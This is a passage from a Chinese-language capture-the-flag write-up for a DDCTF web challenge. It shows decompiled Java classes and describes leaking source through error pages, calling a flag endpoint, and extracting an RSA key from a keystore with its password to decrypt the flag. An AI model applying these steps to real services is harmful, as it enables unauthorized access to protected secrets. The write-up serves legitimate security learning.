com.didichuxing.ctf.model;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Flag</span> </span>{</span><br><span class="line"> <span class="keyword">private</span> Integer id;</span><br><span class="line"> <span class="keyword">private</span> String uuid;</span><br><span class="line"> <span class="keyword">private</span> String email;</span><br><span class="line"> <span class="keyword">private</span> String originEmail;</span><br><span class="line"> <span class="keyword">private</span> String flag;</span><br><span class="line"> <span class="keyword">private</span> String originFlag;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">Flag</span><span class="params">()</span> </span>{</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">getUuid</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.uuid;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setUuid</span><span class="params">(String uuid)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.uuid = uuid;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">getOriginEmail</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.originEmail;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setOriginEmail</span><span class="params">(String originEmail)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.originEmail = originEmail;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> Integer <span class="title">getId</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.id;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setId</span><span class="params">(Integer id)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.id = id;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">getEmail</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.email;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setEmail</span><span class="params">(String email)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.email = email;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">getFlag</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.flag;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setFlag</span><span class="params">(String flag)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.flag = flag;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">getOriginFlag</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.originFlag;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setOriginFlag</span><span class="params">(String originFlag)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.originFlag = originFlag;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">toString</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"Flag{id="</span> + <span class="keyword">this</span>.id + <span class="string">", uuid='"</span> + <span class="keyword">this</span>.uuid + <span class="string">'\''</span> + <span class="string">", email='"</span> + <span class="keyword">this</span>.email + <span class="string">'\''</span> + <span class="string">", originEmail='"</span> + <span class="keyword">this</span>.originEmail + <span class="string">'\''</span> + <span class="string">", flag='"</span> + <span class="keyword">this</span>.flag + <span class="string">'\''</span> + <span class="string">", originFlag='"</span> + <span class="keyword">this</span>.originFlag + <span class="string">'\''</span> + <span class="string">'}'</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.didichuxing.ctf.service;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.didichuxing.ctf.model.Flag;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">interface</span> <span class="title">FlagService</span> </span>{</span><br><span class="line"> <span class="function">Flag <span class="title">getFlagByEmail</span><span class="params">(String var1)</span></span>;</span><br><span class="line"></span><br><span class="line"> <span class="function">Flag <span class="title">getFlagByUUID</span><span class="params">(String var1)</span></span>;</span><br><span class="line"></span><br><span class="line"> <span class="function">Flag <span class="title">getFirst</span><span class="params">(<span class="keyword">int</span> var1, <span class="keyword">int</span> var2, String var3, String var4)</span></span>;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">void</span> <span class="title">save</span><span class="params">(Flag var1)</span></span>;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">void</span> <span class="title">deleteAll</span><span class="params">()</span></span>;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">int</span> <span class="title">exist</span><span class="params">(String var1)</span></span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>大致读一下三个文件,主要的流程在InitListerner.class中,代码流程是加载emais.txt和sdl.ks,根据利用getKey得到的私钥加密emailes.txt和flag,并且会返回一个对应的登陆入口,emails.txt有几个行代码就执行几次。生成一个的结果:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">3113936212117314317@didichuxing.com同学的入口链接为:http://116.85.48.102:5050/welcom/9fa3b571s8832s43a9s8257s275e95ff909f</span><br><span class="line">Flag{id=1, uuid='9fa3b571s8832s43a9s8257s275e95ff909f', email='0DFEE0968F44107479B6CF5784641060DB42952C197C7E8560C2B5F58925FAF4', originEmail='3113936212117314317@didichuxing.com', flag='AEF3A61AC9106D35E0439BFF7FD641CE5C7B0F876190BB281301237C9C251351A37233B40481670EEA1453E03E9E669C8C2C173335337C041DA7F8AF723FF03AB956EE3A275EDA16B31E30AE58FBF55B475016F32E219EEC251650C3BA9289597DD1AD0DF993C438D8F3D0BC8F411EB474287C025F85958D144BC31AE2BB4EBC3E85168E6E961E8DE39D10AD2F48DACE5076A7C8D7E73F3FB27EF9D8C8F17590D622F88FFFFE7B10B83AEEC9FD6C65AD5EA425FE11EF1F8771B4E66135D9D04326EF9973C55D97357B6CC7B55ADFF4E116995CCC8BC8A8D2D664617AE0C58976C57E7EBA5ACD9989EF8D95B547D73CA69B137F17C0EE185B1DB79F7285193C18', originFlag='DDCTF{9999999999}'}</span><br></pre></td></tr></table></figure><p>做题时鸡冻的将Flag{}和里面的内容当做flag提交了,发现不正确。想起<a href="http://116.85.48.102:5050/flag/testflag/" target="_blank" rel="noopener">http://116.85.48.102:5050/flag/testflag/</a> 这个网页,于是将flag提交到这个网页后面,也就是<code>http://116.85.48.102:5050/flag/testflag/Flag{id=1, uuid='9fa3b571s8832s43a9s8257s275e95ff909f', email='0DFEE0968F44107479B6CF5784641060DB42952C197C7E8560C2B5F58925FAF4', originEmail='3113936212117314317@didichuxing.com', flag='AEF3A61AC9106D35E0439BFF7FD641CE5C7B0F876190BB281301237C9C251351A37233B40481670EEA1453E03E9E669C8C2C173335337C041DA7F8AF723FF03AB956EE3A275EDA16B31E30AE58FBF55B475016F32E219EEC251650C3BA9289597DD1AD0DF993C438D8F3D0BC8F411EB474287C025F85958D144BC31AE2BB4EBC3E85168E6E961E8DE39D10AD2F48DACE5076A7C8D7E73F3FB27EF9D8C8F17590D622F88FFFFE7B10B83AEEC9FD6C65AD5EA425FE11EF1F8771B4E66135D9D04326EF9973C55D97357B6CC7B55ADFF4E116995CCC8BC8A8D2D664617AE0C58976C57E7EBA5ACD9989EF8D95B547D73CA69B137F17C0EE185B1DB79F7285193C18', originFlag='DDCTF{9999999999}'}</code> 又测试了直接提交DDCTF{9999999999},也不对。但是在提交DDCTF{}的时候,页面返回的500错误发生了变化</p><p>从新的500错误中,发现com.didichuxing.ctf.controller.user.FlagController.submitFlag(FlagController.java:36),下载下来</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.didichuxing.ctf.controller.user;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.didichuxing.ctf.model.Flag;</span><br><span class="line"><span class="keyword">import</span> com.didichuxing.ctf.service.FlagService;</span><br><span class="line"><span class="keyword">import</span> org.springframework.beans.factory.annotation.Autowired;</span><br><span class="line"><span class="keyword">import</span> org.springframework.ui.ModelMap;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.PathVariable;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.RequestMapping;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.RequestMethod;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.RestController;</span><br><span class="line"></span><br><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping</span>({<span class="string">"flag"</span>})</span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">FlagController</span> </span>{</span><br><span class="line"> <span class="meta">@Autowired</span></span><br><span class="line"> <span class="keyword">private</span> FlagService flagService;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">FlagController</span><span class="params">()</span> </span>{</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@RequestMapping</span>(</span><br><span class="line"> value = {<span class="string">"/getflag/{email:[0-9a-zA-Z']+}"</span>},</span><br><span class="line"> method = {RequestMethod.POST}</span><br><span class="line"> )</span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">getFlag</span><span class="params">(@PathVariable(<span class="string">"email"</span>)</span> String email, ModelMap model) </span>{</span><br><span class="line"> Flag flag = <span class="keyword">this</span>.flagService.getFlagByEmail(email);</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"Encrypted flag : "</span> + flag.getFlag();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@RequestMapping</span>({<span class="string">"/testflag/{flag}"</span>})</span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">submitFlag</span><span class="params">(@PathVariable(<span class="string">"flag"</span>)</span> String flag, ModelMap model) </span>{</span><br><span class="line"> String[] fs = flag.split(<span class="string">"[{}]"</span>);</span><br><span class="line"> Long longFlag = Long.valueOf(fs[<span class="number">1</span>]);</span><br><span class="line"> <span class="keyword">int</span> i = <span class="keyword">this</span>.flagService.exist(flag);</span><br><span class="line"> <span class="keyword">return</span> i > <span class="number">0</span> ? <span class="string">"pass!!!"</span> : <span class="string">"failed!!!"</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">init</span><span class="params">()</span> </span>{</span><br><span class="line"> System.out.println(<span class="string">"test"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>得知有两个函数,真正应该使用的是getFlag函数。提交的参数是email,于是将生成的加密email发送过去。提交的方法是POST方法,参数放在url中。<code>http://116.85.48.102:5050/flag/getflag/0DFEE0968F44107479B6CF5784641060DB42952C197C7E8560C2B5F58925FAF4</code></p><p>网页返回加密的Flag:<code>506920534F89FA62C1125AABE3462F49073AB9F5C2254895534600A9242B8F18D4E420419534118D8CF9C20D07825C4797AF1A169CA83F934EF508F617C300B04242BEEA14AA4BB0F4887494703F6F50E1873708A0FE4C87AC99153DD02EEF7F9906DE120F5895DA7AD134745E032F15D253F1E4DDD6E4BC67CD0CD2314BA32660AB873B3FF067D1F3FF219C21A8B5A67246D9AE5E9437DBDD4E7FAACBA748F58FC059F662D2554AB6377D581F03E4C85BBD8D67AC6626065E2C950B9E7FBE2AEA3071DC0904455375C66A2A3F8FF4691D0C4D76347083A1E596265080FEB30816C522C6BFEA41262240A71CDBA4C02DB4AFD46C7380E2A19B08231397D099FE</code></p><p>那么这段Flag的原文就对应着这个用户专属的Flag了。下一步就是解决怎么解密Flag的问题。</p><p>首先需要一些密码学知识,在<code>Cipher cipher = Cipher.getInstance(key.getAlgorithm());</code> 中,可以打印出key.getAlgorithm(),返回结果是RSA。RSA是一种被广泛使用的非对称加密算法,加密和解密使用一对秘钥。加密使用公钥,解密就使用私钥。反过来就是私钥加密,公钥解密。Flag加密的方法是公钥,需要用私钥解密。</p><p>如何获得私钥呢?<code>tring ksPath = ctx.getServletContext().getRealPath("/WEB-INF/classes/sdl.ks");</code> 这行代码给我启示,sdl.ks被加载之后变量命名是KeyStore。进行了一系列百度,最后使用的方法是利用java自带的KeyTool从sdl.ks中提取出证书,从证书中再提取私钥解密flag。Keytool命令 <code>keytool -export -alias 别名 -keystore 文件名 -file 证书名称</code> alias是<a href="http://www.didichuxing.com,密码是sdlwelcomeyou。提取证书后,修改一下原来的Java代码,从crt中获得私钥,再利用私钥解密密文。" target="_blank" rel="noopener">www.didichuxing.com,密码是sdlwelcomeyou。提取证书后,修改一下原来的Java代码,从crt中获得私钥,再利用私钥解密密文。</a></p><p>这里有一个坑点,在解密的时候会出现paddding error的问题,回顾keytool,想起秘钥库类型是JKS,不太懂是什么,但好像是一个不常见的类型,百度了一下,JKS是安卓签名,在Cipher得到实例的时候写<code>Cipher.getInstance("RSA/ECB/NoPadding");</code> 。</p><p>然后再编写一个hex2byte的函数,就可以直接得到flag了。最终代码如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Source code recreated from a .class file by IntelliJ IDEA</span></span><br><span class="line"><span class="comment">// (powered by Fernflower decompiler)</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">package</span> com.didichuxing.ctf.listener;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.didichuxing.ctf.model.Flag;</span><br><span class="line"><span class="keyword">import</span> com.didichuxing.ctf.service.FlagService;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.File;</span><br><span class="line"><span class="keyword">import</span> java.io.FileInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStream;</span><br><span class="line"><span class="keyword">import</span> java.security.InvalidKeyException;</span><br><span class="line"><span class="keyword">import</span> java.security.Key;</span><br><span class="line"><span class="keyword">import</span> java.security.KeyStore;</span><br><span class="line"><span class="keyword">import</span> java.security.KeyStoreException;</span><br><span class="line"><span class="keyword">import</span> java.security.NoSuchAlgorithmException;</span><br><span class="line"><span class="keyword">import</span> java.security.PublicKey;</span><br><span class="line"><span class="keyword">import</span> java.security.SecureRandom;</span><br><span class="line"><span class="keyword">import</span> java.security.UnrecoverableKeyException;</span><br><span class="line"><span class="keyword">import</span> java.security.cert.Certificate;</span><br><span class="line"><span class="keyword">import</span> java.security.cert.CertificateException;</span><br><span class="line"><span class="keyword">import</span> java.security.cert.CertificateFactory;</span><br><span class="line"><span class="keyword">import</span> java.util.Properties;</span><br><span class="line"><span class="keyword">import</span> java.util.UUID;</span><br><span class="line"><span class="keyword">import</span> javax.crypto.BadPaddingException;</span><br><span class="line"><span class="keyword">import</span> javax.crypto.Cipher;</span><br><span class="line"><span class="keyword">import</span> javax.crypto.IllegalBlockSizeException;</span><br><span class="line"><span class="keyword">import</span> javax.crypto.Mac;</span><br><span class="line"><span class="keyword">import</span> javax.crypto.NoSuchPaddingException;</span><br><span class="line"><span class="keyword">import</span> javax.crypto.spec.SecretKeySpec;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.io.FileUtils;</span><br><span class="line"><span class="keyword">import</span> org.springframework.beans.factory.InitializingBean;</span><br><span class="line"><span class="keyword">import</span> org.springframework.beans.factory.annotation.Autowired;</span><br><span class="line"><span class="keyword">import</span> org.springframework.context.ApplicationContext;</span><br><span class="line"><span class="keyword">import</span> org.springframework.context.ApplicationEvent;</span><br><span class="line"><span class="keyword">import</span> org.springframework.context.ApplicationListener;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Controller;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.RequestMapping;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.context.WebApplicationContext;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">InitListener</span> <span class="keyword">implements</span> <span class="title">ApplicationListener</span>, <span class="title">InitializingBean</span> </span>{</span><br><span class="line"> <span class="keyword">final</span> String k = <span class="string">"sdl welcome you !"</span>;</span><br><span class="line"> <span class="meta">@Autowired</span></span><br><span class="line"> <span class="keyword">private</span> FlagService flagService;</span><br><span class="line"> <span class="keyword">private</span> Properties properties = <span class="keyword">new</span> Properties();</span><br><span class="line"> <span class="keyword">private</span> String p;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">InitListener</span><span class="params">()</span> </span>{</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">afterPropertiesSet</span><span class="params">()</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"> System.out.println(<span class="string">"aftrPropertiesSet"</span>);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.p = <span class="string">"sdl welcome you !"</span>.substring(<span class="number">0</span>, <span class="string">"sdl welcome you !"</span>.length() - <span class="number">1</span>).trim().replace(<span class="string">" "</span>, <span class="string">""</span>);</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="meta">@RequestMapping</span>(<span class="string">"/con"</span>)</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">onApplicationEvent</span><span class="params">(ApplicationEvent event)</span> </span>{</span><br><span class="line"> System.out.println(<span class="string">"start!@"</span>);</span><br><span class="line"> <span class="keyword">if</span> (event.getSource() <span class="keyword">instanceof</span> ApplicationContext) {</span><br><span class="line"> WebApplicationContext ctx = (WebApplicationContext)event.getSource();</span><br><span class="line"> <span class="keyword">if</span> (ctx.getParent() == <span class="keyword">null</span>) {</span><br><span class="line"> String regenflag = <span class="keyword">this</span>.properties.getProperty(<span class="string">"regenflag"</span>);</span><br><span class="line"> <span class="keyword">if</span> (regenflag != <span class="keyword">null</span> && <span class="string">"false"</span>.equals(regenflag)) {</span><br><span class="line"> System.out.println(<span class="string">"skip gen flag"</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">int</span> id = <span class="number">1</span>;</span><br><span class="line"> String path = ctx.getServletContext().getRealPath(<span class="string">"/WEB-INF/classes/emails.txt"</span>);</span><br><span class="line"> String ksPath = ctx.getServletContext().getRealPath(<span class="string">"/WEB-INF/classes/sdl.ks"</span>);</span><br><span class="line"> System.out.println(<span class="keyword">this</span>.p.toCharArray());</span><br><span class="line"> String emailsString = FileUtils.readFileToString(<span class="keyword">new</span> File(path), <span class="string">"utf-8"</span>);</span><br><span class="line"> String[] emails = emailsString.trim().split(<span class="string">"\n"</span>);</span><br><span class="line"> KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());</span><br><span class="line"> FileInputStream inputStream = <span class="keyword">new</span> FileInputStream(ksPath);</span><br><span class="line"> keyStore.load(inputStream, <span class="keyword">this</span>.p.toCharArray());</span><br><span class="line"> Key key = keyStore.getKey(<span class="string">"www.didichuxing.com"</span>, <span class="keyword">this</span>.p.toCharArray());</span><br><span class="line"> Cipher cipher = Cipher.getInstance(<span class="string">"RSA/ECB/NoPadding"</span>);</span><br><span class="line"> cipher.init(<span class="number">1</span>, key);</span><br><span class="line"> SecretKeySpec signingKey = <span class="keyword">new</span> SecretKeySpec(<span class="string">"sdl welcome you !"</span>.getBytes(), <span class="string">"HmacSHA256"</span>);</span><br><span class="line"> Mac mac = Mac.getInstance(<span class="string">"HmacSHA256"</span>);</span><br><span class="line"> mac.init(signingKey);</span><br><span class="line"> SecureRandom sr = <span class="keyword">new</span> SecureRandom();</span><br><span class="line"> String[] var16 = emails;</span><br><span class="line"> <span class="keyword">int</span> var17 = emails.length;</span><br><span class="line"> String crtpath = ctx.getServletContext().getRealPath(<span class="string">"/WEB-INF/classes/sdl.crt"</span>);</span><br><span class="line"> CertificateFactory cf = CertificateFactory.getInstance(<span class="string">"X.509"</span>);</span><br><span class="line"> FileInputStream in = <span class="keyword">new</span> FileInputStream(crtpath);</span><br><span class="line"> Certificate c = cf.generateCertificate(in);</span><br><span class="line"> PublicKey publicKey = c.getPublicKey();</span><br><span class="line"> </span><br><span class="line"> cipher.init(Cipher.DECRYPT_MODE, publicKey);</span><br><span class="line"> String flag = <span class="string">"506920534F89FA62C1125AABE3462F49073AB9F5C2254895534600A9242B8F18D4E420419534118D8CF9C20D07825C4797AF1A169CA83F934EF508F617C300B04242BEEA14AA4BB0F4887494703F6F50E1873708A0FE4C87AC99153DD02EEF7F9906DE120F5895DA7AD134745E032F15D253F1E4DDD6E4BC67CD0CD2314BA32660AB873B3FF067D1F3FF219C21A8B5A67246D9AE5E9437DBDD4E7FAACBA748F58FC059F662D2554AB6377D581F03E4C85BBD8D67AC6626065E2C950B9E7FBE2AEA3071DC0904455375C66A2A3F8FF4691D0C4D76347083A1E596265080FEB30816C522C6BFEA41262240A71CDBA4C02DB4AFD46C7380E2A19B08231397D099FE"</span>;</span><br><span class="line"> <span class="keyword">byte</span>[] res = flag.getBytes();</span><br><span class="line"> <span class="keyword">byte</span>[] result = cipher.doFinal(hex2byte(res));</span><br><span class="line"> String aaa = <span class="keyword">new</span> String(result);</span><br><span class="line"> System.out.print(aaa);</span><br><span class="line"> System.out.print(<span class="string">"complete"</span>);</span><br><span class="line"></span><br><span class="line"> } <span class="keyword">catch</span> (KeyStoreException var25) {</span><br><span class="line"> var25.printStackTrace();</span><br><span class="line"> } <span class="keyword">catch</span> (IOException var26) {</span><br><span class="line"> var26.printStackTrace();</span><br><span class="line"> } <span class="keyword">catch</span> (NoSuchAlgorithmException var27) {</span><br><span class="line"> var27.printStackTrace();</span><br><span class="line"> } <span class="keyword">catch</span> (CertificateException var28) {</span><br><span class="line"> var28.printStackTrace();</span><br><span class="line"> } <span class="keyword">catch</span> (UnrecoverableKeyException var29) {</span><br><span class="line"> var29.printStackTrace();</span><br><span class="line"> } <span class="keyword">catch</span> (NoSuchPaddingException var30) {</span><br><span class="line"> var30.printStackTrace();</span><br><span class="line"> } <span class="keyword">catch</span> (InvalidKeyException var31) {</span><br><span class="line"> var31.printStackTrace();</span><br><span class="line"> } <span class="keyword">catch</span> (IllegalBlockSizeException e) {</span><br><span class="line"><span class="comment">// TODO Auto-generated catch block</span></span><br><span class="line">e.printStackTrace();</span><br><span class="line">} <span class="keyword">catch</span> (BadPaddingException e) {</span><br><span class="line"><span class="comment">// TODO Auto-generated catch block</span></span><br><span class="line">e.printStackTrace();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">byte</span>[] hex2byte(<span class="keyword">byte</span>[] b) {</span><br><span class="line"> <span class="keyword">if</span> ((b.length % <span class="number">2</span>) != <span class="number">0</span>)</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> IllegalArgumentException();</span><br><span class="line"> <span class="keyword">byte</span>[] b2 = <span class="keyword">new</span> <span class="keyword">byte</span>[b.length / <span class="number">2</span>];</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> n = <span class="number">0</span>; n < b.length; n += <span class="number">2</span>) {</span><br><span class="line"> String item = <span class="keyword">new</span> String(b, n, <span class="number">2</span>);</span><br><span class="line"> b2[n / <span class="number">2</span>] = (<span class="keyword">byte</span>) Integer.parseInt(item, <span class="number">16</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> b2;</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">getType</span><span class="params">(Object o)</span></span>{ </span><br><span class="line"> <span class="keyword">return</span> o.getClass().toString(); </span><br><span class="line"> } 